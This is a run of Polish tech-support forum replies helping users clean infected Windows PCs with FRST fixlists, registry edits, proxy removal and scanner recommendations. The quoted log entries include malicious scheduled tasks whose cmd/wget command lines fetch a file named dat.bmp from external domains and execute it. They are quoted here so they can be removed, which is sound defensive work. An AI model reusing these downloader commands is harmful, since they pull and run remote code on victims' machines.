Kolobos

Chyba prosciej bedzie uruchomic Process Explorer (dostepny na stronie MS) i zobaczyc jaki proces jest aktywny po nacisnieciu skrotu.

Moze sprawdz czy przy pomocy crisisdisk uda sie wgrac: https://www.bios-mods.com/bios-recovery/phoenix-bios-recovery/

Wgranie biosu przy pomocy programatora nawet z wylutowaniem to koszt okolo 50-150zl, to jednak troche mniejszy wydatek niz zakup laptopa, ale rob jak chcesz.

Skoro autor nie wie jak sie zalogowac to pewnie nie zna tez loginu i hasla, a reset i ponowne poprawne ustawienie raczej nie wchodzi w gre ;)

Zawsze zostaje programator.

WinFlash obsluguje opcje /force z tego co widze.

Obok frst.exe utworz plik fixlist.txt z zawartoscia: Task: {051ED316-1543-42F5-9D4E-AFB1BF183AA5} - System32\Tasks\Opera scheduled Autoupdate 1420138516 => C:\Program Files (x86)\Opera\launcher.exe [2015-02-02] (Opera Software) Task: {0B2B51B0-23C4-4697-9331-CF32DE0FF968} - System32\Tasks\SYSTEM => cmd.exe /R cd "C:\ProgramData" & ping 1.1.1.1 -n 300 -w 1000 & wget -t 0 --retry-connrefused -O dat.bmp http://grogle.in/dat.bmp?data=RiL8NFMvCj;PowerISO_Setup_32.exe;1421701556& start cmd /R dat.bmp <==== ATTENTION Task: {6A59DF7E-545A-42AF-BA90-37A748CECF75} - System32\Tasks\SYSTEMDOWN => cmd.exe /R cd "C:\ProgramData" & ping 1.1.1.1 -n 350 -w 1000 & wget -t 0 --retry-connrefused -O dat.bmp http://sdshdb.nl/index.php?data=ogJ2d6ukR8;up;1421924839& start cmd /R dat.bmp <==== ATTENTION Task: {825FBAAB-519A-43EF-8234-B054DF3EF807} - System32\Tasks\KMSpico Updater => Wscript.exe //nologo //E:jscript //B "C:\Program Files (x86)\KMSpico Updater\updater.ini" Task: {BCEC0928-BBA6-40C1-8DCF-E205C3402F37} - System32\Tasks\SYSTEMUP => cmd.exe /R cd "C:\ProgramData" & ping 1.1.1.1 -n 350 -w 1000 & wget -t 0 --retry-connrefused -O dat.bmp http://iashdb.in/index.php?data=1Ly9ne5tgi;up;1421924829& start cmd /R dat.bmp <==== ATTENTION Task: C:\Windows\Tasks\KMSpico Updater.job => C:\Windows\system32\wscript.exe ProxyEnable: [HKLM] => ProxyEnable is set. ProxyEnable: [HKLM-x32] => ProxyEnable is set. ProxyServer: [HKLM] => http=127.0.0.1:8080;https=127.0.0.1:8080 ProxyServer: [HKLM-x32] => http=127.0.0.1:8080;https=127.0.0.1:8080 S3 BRDriver64_1_3_3_E02B25FC; \??\C:\ProgramData\BitRaider\support\1.3.3\E02B25FC\BRDriver64.sys [X] S3 X6va028; \??\C:\Windows\SysWOW64\Drivers\X6va028 [X] S3 X6va029; \??\C:\Windows\SysWOW64\Drivers\X6va029 [X] 2015-01-22 20:40 - 2015-02-07 12:00 - 00000530 _____ () C:\Windows\Tasks\KMSpico Updater.job 2015-01-22 20:40 - 2015-01-22 20:40 - 00003276 _____ () C:\Windows\System32\Tasks\KMSpico Updater 2015-01-19 22:42 - 2015-02-09 19:13 - 00024576 _____ () C:\ProgramData\dat.bmp 2015-01-19 22:05 - 2015-01-19 22:05 - 00003418 _____ () C:\Windows\System32\Tasks\SYSTEM 2015-01-19 22:04 - 2015-01-19 22:04 - 00401408 _____ () C:\ProgramData\wget.exe 2015-01-19 22:03 - 2015-01-19 22:03 - 00000000 ____D () C:\Users\Arnold\AppData\Local\SearchProtect 2015-01-19 22:03 - 2015-01-19 22:03 - 00000000 ____D () C:\Program Files (x86)\SearchProtect EmptyTemp: W FRST wybierz Fix. Usun katalog C:\FRST i to wszystko.

Plikow nie da sie odszyfrowac, chyba, ze zaplacisz okup. Jak to mowia, za glupote sie placi.

Dijkstra, tak jak napisalem wczesniej:

Klaus, juz poprawilem. Nie za czesto cos tutaj wklejam, nawet nie zwrocilem na to uwagi. Skrypt i tak sie wykona, frst odczytuje tylko 71309560-4A42-4208-8A2E-B94631581529, a nie calosc wpisu.

Na wklej.org wklejasz zawartosc pliku, a nie caly plik. Masz zainfekowany router, zacznij od wykonania: http://www.elektroda.pl/rtvforum/viewtopic.php?t=2874173- koniecznie zablokuj dostep do panelu routera z internetu! Odinstaluj: Spybot - Search & Destroy Obok frst.exe utworz plik fixlist.txt z zawartoscia: Task: {4E6C3739-C458-46C2-A730-EE8AB0AC94FA} - System32\Tasks\Scan the system (Spybot - Search & Destroy) => C:\Program Files\Spybot - Search & Destroy 2\SDScan.exe Task: {A0C7228E-2A0E-49D0-ACBA-407E77AFF9C2} - System32\Tasks\Check for updates (Spybot - Search & Destroy) => C:\Program Files\Spybot - Search & Destroy 2\SDUpdate.exe Task: {A7C0556A-6889-4B73-9BA6-1402194EDF81} - System32\Tasks\SpyHunter4Startup => C:\Program Files\Enigma Software Group\SpyHunter\Spyhunter4.exe Task: {C09FD2CB-4B08-4D80-8DD8-AE60672FC02D} - System32\Tasks\Refresh immunization (Spybot - Search & Destroy) => C:\Program Files\Spybot - Search & Destroy 2\SDImmunize.exe Task: C:\Windows\Tasks\Check for updates (Spybot - Search & Destroy).job => C:\Program Files\Spybot - Search & Destroy 2\SDUpdate.exe Task: C:\Windows\Tasks\Refresh immunization (Spybot - Search & Destroy).job => C:\Program Files\Spybot - Search & Destroy 2\SDImmunize.exe Task: C:\Windows\Tasks\Scan the system (Spybot - Search & Destroy).job => C:\Program Files\Spybot - Search & Destroy 2\SDScan.exe HKLM\...\Run: [SmartWeb] => C:\Users\hp\AppData\Local\SmartWeb\SmartWebHelper.exe HKLM\...\Run: [SDTray] => C:\Program Files\Spybot - Search & Destroy 2\SDTray.exe [4101576 2014-06-24] (Safer-Networking Ltd.) Winlogon\Notify\SDWinLogon: SDWinLogon.dll [X] HKU\S-1-5-21-3595339461-2238539617-4085414120-1000\...\Run: [Spybot-S&D Cleaning] => C:\Program Files\Spybot - Search & Destroy 2\SDCleaner.exe [4566952 2014-06-24] (Safer-Networking Ltd.) BootExecute: autocheck autochk * sdnclean.exe GroupPolicyUsers\S-1-5-21-3595339461-2238539617-4085414120-1003\User: Group Policy restriction detected <======= ATTENTION SearchScopes: HKLM -> Backup.Old.DefaultScope {71309560-4A42-4208-8A2E-B94631581529} SearchScopes: HKLM -> {71309560-4A42-4208-8A2E-B94631581529} URL = http://it.search.yahoo.com/search?p={searchTerms}&ei={inputEncoding}&fr=cb-hp06 SearchScopes: HKU\.DEFAULT -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = SearchScopes: HKU\S-1-5-19 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = SearchScopes: HKU\S-1-5-20 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = SearchScopes: HKU\S-1-5-21-3595339461-2238539617-4085414120-1000 -> Backup.Old.DefaultScope {0ECDF796-C2DC-4d79-A620-CCE0C0A66CC9} S4 blbdrive; \SystemRoot\system32\drivers\blbdrive.sys [X] S3 esgiguard; \??\C:\Program Files\Enigma Software Group\SpyHunter\esgiguard.sys [X] S3 EsgScanner; system32\DRIVERS\EsgScanner.sys [X] S3 IpInIp; system32\DRIVERS\ipinip.sys [X] R1 iSafeKrnlMon; \??\C:\Program Files\Elex-tech\YAC\iSafeKrnlMon.sys [X] S3 NwlnkFlt; system32\DRIVERS\nwlnkflt.sys [X] S3 NwlnkFwd; system32\DRIVERS\nwlnkfwd.sys [X] 2015-02-06 15:48 - 2015-02-06 15:48 - 00000640 __RSH () C:\Users\hp\ntuser.pol 2015-02-06 11:05 - 2015-02-06 11:19 - 00000000 ____D () C:\ProgramData\Spybot - Search & Destroy 2015-02-06 11:05 - 2015-02-06 11:11 - 00000000 ____D () C:\Program Files\Spybot - Search & Destroy 2 2015-02-06 11:05 - 2015-02-06 11:05 - 00001970 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Spybot-S&D Start Center.lnk 2015-02-06 11:05 - 2015-02-06 11:05 - 00000644 _____ () C:\Windows\Tasks\Check for updates (Spybot - Search & Destroy).job 2015-02-06 11:05 - 2015-02-06 11:05 - 00000616 _____ () C:\Windows\Tasks\Refresh immunization (Spybot - Search & Destroy).job 2015-02-06 11:05 - 2015-02-06 11:05 - 00000446 _____ () C:\Windows\Tasks\Scan the system (Spybot - Search & Destroy).job 2015-02-06 11:05 - 2015-02-06 11:05 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Spybot - Search & Destroy 2 2015-02-06 11:05 - 2013-09-20 10:49 - 00018968 _____ (Safer Networking Limited) C:\Windows\system32\sdnclean.exe 2015-02-06 11:02 - 2015-02-06 11:04 - 46525608 _____ (Safer-Networking Ltd. ) C:\Users\hp\Downloads\spybot-2.4.exe 2015-02-04 16:52 - 2015-02-04 16:52 - 00000000 ____D () C:\Program Files\Elex-tech 2015-02-04 16:48 - 2015-02-04 16:49 - 01999600 _____ (Elex do Brasil Participações Ltda) C:\Users\hp\Downloads\yet_another_cleaner_sk_7069360.exe 2015-01-25 21:31 - 2015-01-25 21:31 - 00000000 ____D () C:\Users\hp\AppData\Roaming\Enigma Software Group 2015-01-25 21:30 - 2015-01-25 21:31 - 00000000 ____D () C:\sh4ldr 2015-01-25 18:42 - 2015-01-25 18:42 - 0613057 _____ (CMI Limited) C:\Users\hp\AppData\Local\nsf69D2.tmp EmptyTemp: W FRST wybierz Fix. Usun katalog C:\FRST.

SpyBot? Niektorzy sie chyba zatrzymali w czasie w poprzedniej dekadzie... jeszcze tylko brakuje hijackthis. CCleaner rowniez jest CALKOWIECIE zbedny. Daj logi z FRST, mozesz wkleic na wklej.org i podac linki.

W logach widac: Description: Struktura systemu plików na dysku jest uszkodzona i nie nadaje się do użytku. Uruchom narzędzie chkdsk na woluminie WINDOWS. Daj screen z CrystalDiskInfo: http://portableapps.com/apps/utilities/crystaldiskinfo_portable Fixlist.txt dla FRST: SearchScopes: HKU\S-1-5-21-98101401-682216098-2799263076-1001 -> {6B31E3E8-2BD6-4D2F-A1B6-342BCEA055B6} URL = http://www.amazon.co.uk/gp/search?ie=UTF8&keywords={searchTerms}&tag=tochibauk-win7-ie-search-21&index=blended&linkCode=ur2 SearchScopes: HKU\S-1-5-21-98101401-682216098-2799263076-1001 -> {CE520987-E7E3-4C44-8CFB-4BC6253A67F6} URL = SearchScopes: HKU\S-1-5-21-98101401-682216098-2799263076-1001 -> {EBDFE12F-B19A-49A3-AE0D-D8FE0F8749CD} URL = SearchScopes: HKU\S-1-5-21-98101401-682216098-2799263076-1001 -> {EE4C217D-7385-45CB-9DCB-967AC0A76AD2} URL = http://rover.ebay.com/rover/1/4908-44618-9400-8/4?satitle={searchTerms} CHR StartupUrls: Default -> "hxxp://www.onet.pl/", "hxxp://www.searchgol.com/?babsrc=HP_ss&mntrId=F25CE839DF2B6A60&affID=125032&tsp=5027", null, "hxxp://www.google.com" 2015-01-29 10:16 - 2015-01-29 10:18 - 00000000 ____D () C:\AdwCleaner EmptyTemp: Jezeli frst nie usunie StartupUrls z Chrome to zrob to recznie w ustawieniach Chrome, opcja przywracania zestawu stron po starcie przegladarki.

Widze, ze caly czas masz ten aktywator: PRC - [2014-12-03 10:06:18 | 000,040,448 | ---- | M] (InstallShield) -- C:\Program Files\KMSpico Updater\Updater.exe SRV - [2014-12-03 10:06:18 | 000,040,448 | ---- | M] (InstallShield) [Auto | Running] -- C:\Program Files\KMSpico Updater\Updater.exe -- (Updater.exe) [2015-01-17 12:00:01 | 000,000,478 | ---- | M] () -- Usun go przy pomocy FRST, nowy Fixlist.txt: C:\Windows\tasks\KMSpico Updater.job (InstallShield) C:\Program Files\KMSpico Updater\Updater.exe ProxyEnable: [HKLM] => ProxyEnable is set. ProxyServer: [HKLM] => http=127.0.0.1:8080;https=127.0.0.1:8080 R2 Updater.exe; C:\Program Files\KMSpico Updater\Updater.exe [40448 2014-12-03] (InstallShield) [File not signed] C:\Program Files\KMSpico Updater\ 2015-01-16 23:10 - 2015-01-16 23:16 - 00000000 ____D () C:\Program Files\trend micro 2015-01-16 23:10 - 2015-01-16 23:10 - 00000000 ____D () C:\rsit 2014-12-27 12:28 - 2015-01-17 12:00 - 00000478 _____ () C:\Windows\Tasks\KMSpico Updater.job 2014-12-27 12:28 - 2015-01-14 17:43 - 00000000 ____D () C:\Program Files\KMSpico 2014-12-27 12:28 - 2014-12-27 12:28 - 00000000 ____D () C:\Program Files\KMSpico Updater Reboot:

Wpis dodaje sie dopiero po ponownym uruchomieniu? Czy po usunieciu bez resetu tez? Wyglada na to, ze cos uruchamia polecenie: reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f nastepne dodajace adres proxy. Sprawdz jeszcze taki Fixlist.txt dla FRST: CloseProcesses: REG: reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f REG: reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /f REG: reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings" /v MigrateProxy /f REG: reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" /v DefaultConnectionSettings /f REG: reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" /v SavedLegacySettings /f REG: reg delete "HKLM\SYSTEM\CurrentControlSet\services\NlaSvc\Parameters\Internet\ManualProxies" /ve /f Reboot: Lub taki: REG: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f REG: reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /f REG: reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /f REG: reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f REG: reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /f REG: reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /f REG: reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" /v DefaultConnectionSettings /f REG: reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" /v SavedLegacySettings /f REG: reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" /v DefaultConnectionSettings /f REG: reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" /v SavedLegacySettings /f REG: reg delete "HKLM\SYSTEM\CurrentControlSet\services\services\NlaSvc\Parameters\Internet\ManualProxies" /ve /f Reboot: Jezeli nic sie nie zmieni to daj jeszcze log z OTL, zaznacz dodatkowo: Lop, Purity, wszyscy uzytkownicy oraz zakres czasowy plikow na 180.Z Zrob tez skan przy pomocy cureit: http://www.freedrweb.com/cureit/?lng=pl Przeszukaj rejestr pod katem: 127.0.0.1:8080

Czy wpis dotyczacy proxy ustawia sie sam po usunieciu nawet bez resetu? Jezeli tak to uzyj: https://technet.microsoft.com/en-us/sysinternals/bb896645i sprawdz co modyfikuje w rejestrze ProxyServer.

Daj log z TDSSKiller.

Sprobuj ponownie usunac proxy (skryptem dla frst lub recznie w rejestrze).

Nadal jest, moze ten aktywator ma z tym jakis zwiazek: KMSpico Updater\Updater.exe

Utworz plik fix.reg z zawartoscia: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings] "ProxyEnable"=dword:00000000 "ProxyServer"=- Zapisz i uruchom. Uruchom ponownie system i daj nowy log z FRST (sam frst.txt).

Jakis program musi to ustawiac, sprawdz na nowym koncie czy tam tez bedziesz mial ustawione to proxy.

Przywroc domyslne ustawienia IE.

Nadal masz ustawione to proxy: ProxyEnable: [HKLM] => ProxyEnable is set. ProxyServer: [HKLM] => http=127.0.0.1:8080;https=127.0.0.1:8080; Usun w opcjach internetowych o ile sie uda.

Odinstaluj na razie: ESET NOD32 Antivirus Obok frst.exe utworz plik fixlist.txt z zawartoscia: HKLM\...\Run: [] => [X] HKU\S-1-5-21-619519251-2884983424-292228133-1000\...\Run: [EpicScale] => [X] GroupPolicy: Group Policy on Chrome detected <======= ATTENTION CHR HKLM\SOFTWARE\Policies\Google: Policy restriction <======= ATTENTION ProxyEnable: [HKLM] => ProxyEnable is set. ProxyServer: [HKLM] => http=127.0.0.1:8080;https=127.0.0.1:8080; FF Extension: No Name - C:\Program Files\Mozilla Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd} [Not Found] CHR StartupUrls: Default -> "hxxp://www.mysearchresults.com/?c=3508&t=01", "hxxp://www.delta-search.com/?affID=121845&tt=120613_ndt&babsrc=HP_ss&mntrId=CCCF485B39C972A5" S4 NVHDA; system32\drivers\nvhda32v.sys [X] 2015-01-15 17:25 - 2015-01-16 18:56 - 00000000 ____D () C:\AdwCleaner Hosts: EmptyTemp: W FRST wybierz Fix. Po wykonaniu sprawdz czy cos sie zmienilo.

Uzyj AdwCleaner, opcja Scan i Clean/Szukaj i Usun: http://general-changelog-team.fr/fr/downloads/finish/20-outils-de-xplode/2-adwcleaner Daj z FRST (Frst.txt oraz Addition.txt): http://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/ Wklej na wklej.org i podaj linki. Zrob pelny skan przy pomocy Mbam i usun to co wykryje: http://www.bleepingcomputer.com/download/malwarebytes-anti-malware/